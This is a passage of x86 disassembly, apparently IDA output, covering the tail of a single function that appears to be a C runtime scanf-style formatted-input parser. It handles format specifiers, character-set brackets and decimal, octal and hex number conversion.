		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
		jz	short loc_41D8F7
		cmp	ebx, 77h
		jz	short loc_41D8FA


loc_41D8F2:				; CODE XREF: sub_41D797+122j
					; sub_41D797+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8F7:				; CODE XREF: sub_41D797+154j
		inc	[ebp+var_D]


loc_41D8FA:				; CODE XREF: sub_41D797+159j
		inc	[ebp+var_5]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------


loc_41D8FF:				; CODE XREF: sub_41D797+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41D905:				; CODE XREF: sub_41D797+107j
					; sub_41D797+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D85E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D92A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41D92A:				; CODE XREF: sub_41D797+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D948
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D944
		cmp	al, 43h
		jz	short loc_41D944
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D948
; ---------------------------------------------------------------------------


loc_41D944:				; CODE XREF: sub_41D797+1A1j
					; sub_41D797+1A5j
		mov	[ebp+var_5], 1


loc_41D948:				; CODE XREF: sub_41D797+19Bj
					; sub_41D797+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D981
		cmp	esi, 63h
		jz	short loc_41D972
		cmp	esi, 7Bh
		jz	short loc_41D972
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------


loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3


loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D


loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi


loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------


loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D


loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------


loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]


loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46


loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh


loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_433E7C, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------


loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_433E80, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_433E80
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_433E7C, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------


loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------


loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91


loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------


loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B


loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------


loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_433E7C, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------


loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------


loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_435FD8
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1


loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_436000
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46


loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1


loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91


loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh


loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------


loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------


loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1


loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_435FF8


loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh


loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]


loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------


loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl


loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E


loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi


loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C


loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_433C70
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al


loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_433E7C
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------


loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi


loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1


loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF


loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax


loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx


loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6


loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_433E7C, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------


loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_433E7C, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------


loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------


loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760


loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6


loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------


loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------


loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4


loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_433E7C, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_433E7C, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4


loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------


loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi


loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0


loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]


loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di


loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------


loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_433C70
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]


loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax


loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------


loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h


loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4


loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]


loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


